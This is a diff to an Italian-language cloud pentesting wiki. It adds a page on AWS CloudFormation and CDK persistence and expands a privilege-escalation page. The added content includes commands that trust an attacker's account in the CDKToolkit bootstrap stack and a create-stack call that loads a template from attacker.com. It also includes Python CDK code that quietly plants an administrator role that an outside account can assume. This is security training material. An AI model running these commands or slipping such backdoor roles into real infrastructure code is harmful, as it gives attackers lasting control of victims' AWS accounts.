diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5939f1183..a470914ae 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -211,6 +211,7 @@ - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md) - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md) - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md) + - [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md) - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md) - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md) - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md new file mode 100644 index 000000000..652c468ae --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## CloudFormation + +Per ulteriori informazioni, accedi a: + +{{#ref}} +../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +L'AWS CDK distribuisce uno stack CFN chiamato `CDKToolkit`. Questo stack supporta un parametro `TrustedAccounts` che consente a conti esterni di distribuire progetti CDK nell'account vittima. Un attaccante può abusare di questo per concedersi accesso indefinito all'account vittima, sia utilizzando l'AWS cli per ridistribuire lo stack con parametri, sia l'AWS CDK cli. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index fd33e5008..d4c6bee80 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ --role-arn ``` -In questa pagina hai un **esempio di sfruttamento** con il permesso aggiuntivo **`cloudformation:DescribeStacks`**: +In the following page you have an **esempio di sfruttamento** con il permesso aggiuntivo **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -51,9 +51,9 @@ Il permesso `cloudformation:SetStackPolicy` può essere utilizzato per **darti i ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Un attaccante con permessi per **passare un ruolo e creare & eseguire un ChangeSet** può **creare/aggiornare un nuovo stack cloudformation abusando dei ruoli di servizio cloudformation** proprio come con CreateStack o UpdateStack. +Un attaccante con permessi per **passare un ruolo e creare & eseguire un ChangeSet** può **creare/aggiornare un nuovo stack cloudformation e abusare dei ruoli di servizio cloudformation** proprio come con CreateStack o UpdateStack. -Lo sfruttamento seguente è una **variazione del**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilizzando i **permessi ChangeSet** per creare uno stack. +Lo sfruttamento seguente è una **variazione del**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) utilizzando i **permessi ChangeSet** per creare uno stack. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -85,26 +85,71 @@ Il permesso `cloudformation:SetStackPolicy` può essere utilizzato per **darti i ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Questo è simile al metodo precedente senza passare **ruoli IAM**, quindi puoi semplicemente **sfruttare quelli già attaccati**, basta modificare il parametro: +Questo è simile al metodo precedente senza passare **ruoli IAM**, quindi puoi semplicemente **abusare di quelli già attaccati**, basta modificare il parametro: ``` --change-set-type UPDATE ``` -**Impatto Potenziale:** Privesc al ruolo di servizio cloudformation già allegato. +**Impatto Potenziale:** Privesc al ruolo del servizio cloudformation già allegato. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -Un attaccante potrebbe abusare di questi permessi per creare/aggiornare StackSets per abusare di ruoli cloudformation arbitrari. +Un attaccante potrebbe abusare di queste autorizzazioni per creare/aggiornare StackSets per abusare di ruoli cloudformation arbitrari. **Impatto Potenziale:** Privesc ai ruoli di servizio cloudformation. ### `cloudformation:UpdateStackSet` -Un attaccante potrebbe abusare di questo permesso senza il permesso passRole per aggiornare StackSets per abusare dei ruoli cloudformation allegati. +Un attaccante potrebbe abusare di questa autorizzazione senza il permesso passRole per aggiornare StackSets per abusare dei ruoli cloudformation allegati. **Impatto Potenziale:** Privesc ai ruoli cloudformation allegati. +## AWS CDK + +Il AWS cdk è un toolkit che consente agli utenti di definire la propria infrastruttura come codice in linguaggi con cui sono già familiari, oltre a riutilizzare facilmente sezioni. Il CDK quindi converte il codice di alto livello (cioè python) in modelli Cloudformation (yaml o json). + +Per utilizzare il CDK, un utente amministrativo deve prima avviare l'account, il che crea diversi ruoli IAM, incluso il *ruolo exec*, che ha permessi \*/\*. Questi ruoli seguono la struttura di denominazione `cdk----`. L'avvio deve essere eseguito una volta per regione per account. + +Per impostazione predefinita, gli utenti CDK non hanno accesso per elencare i ruoli necessari per utilizzare il CDK, il che significa che dovrai determinarli manualmente. Se comprometti la macchina di uno sviluppatore o un nodo CI/CD, questi ruoli possono essere assunti per concederti la possibilità di distribuire modelli CFN, utilizzando il ruolo `cfn-exec` per consentire a CFN di distribuire qualsiasi risorsa, compromettendo completamente l'account. + +### Determinazione dei nomi dei ruoli + +Se hai `cloudformation:DescribeStacks`, i ruoli sono definiti in uno stack chiamato `CDKToolkit`, e puoi estrarre i nomi da lì. + +Se sei su una macchina che è stata utilizzata per costruire e distribuire progetti CDK, puoi estrarli da `cdk.out/manafest.json` nella directory radice dei progetti. + +Puoi anche fare una buona ipotesi su quali siano. `qualifier` è una stringa aggiunta ai ruoli che consente di distribuire più istanze dell'avvio CDK contemporaneamente, tuttavia il valore predefinito è hard-coded su `hnb659fds`. +``` +# Defaults +cdk-hnb659fds-cfn-exec-role-- +cdk-hnb659fds-deploy-role-- +cdk-hnb659fds-file-publishing-role-- +cdk-hnb659fds-image-publishing-role-- +cdk-hnb659fds-lookup-role-- +``` +### Aggiungere codice malevolo al codice sorgente del progetto + +Se puoi scrivere nel codice sorgente del progetto, ma non puoi distribuirlo tu stesso (ad esempio, lo sviluppatore distribuisce il codice tramite CI/CD, non dalla macchina locale), puoi comunque compromettere l'ambiente aggiungendo risorse malevole allo stack. Il seguente codice aggiunge un ruolo IAM che può essere assunto da un account attaccante a un progetto python CDK. +```python +class CdkTestStack(Stack): +def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None: +super().__init__(scope, construct_id, **kwargs) + +# ---------- +# Some existing code..... +# ---------- + +role = iam.Role( +self, +"cdk-backup-role", # Role name, make it something subtle +assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role +managed_policies=[ +iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess +], +) +``` ## Riferimenti - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 788de1ddb..673cf09e4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation è un servizio progettato per **semplificare la gestione delle risorse AWS**. Consente agli utenti di concentrarsi maggiormente sulle loro applicazioni in esecuzione su AWS **minimizzando il tempo dedicato alla gestione delle risorse**. La caratteristica principale di questo servizio è il **modello**—un modello descrittivo delle risorse AWS desiderate. Una volta fornito questo modello, CloudFormation è responsabile per il **provisioning e la configurazione** delle risorse specificate. Questa automazione facilita una gestione più efficiente e priva di errori dell'infrastruttura AWS. +AWS CloudFormation è un servizio progettato per **semplificare la gestione delle risorse AWS**. Consente agli utenti di concentrarsi di più sulle loro applicazioni in esecuzione su AWS **minimizzando il tempo dedicato alla gestione delle risorse**. La caratteristica principale di questo servizio è il **modello**—un modello descrittivo delle risorse AWS desiderate. Una volta fornito questo modello, CloudFormation è responsabile per il **provisioning e la configurazione** delle risorse specificate. Questa automazione facilita una gestione più efficiente e priva di errori dell'infrastruttura AWS. ### Enumeration ```bash @@ -37,6 +37,12 @@ Nella pagina seguente puoi controllare come **abuse cloudformation permissions t ../aws-privilege-escalation/aws-cloudformation-privesc/ {{#endref}} +### Persistence + +{{#ref}} +../aws-persistence/aws-cloudformation-persistence.md +{{#endref}} + ### Post-Exploitation Controlla per **secrets** o informazioni sensibili nel **template, parameters & output** di ogni CloudFormation @@ -58,13 +64,13 @@ aws codestar describe-user-profile --user-arn ``` ### Privesc -Nella pagina seguente puoi controllare come **abusare dei permessi di codestar per escalare i privilegi**: +Nella pagina seguente puoi controllare come **abuse codestar permissions to escalate privileges**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ {{#endref}} -## Riferimenti +## References - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)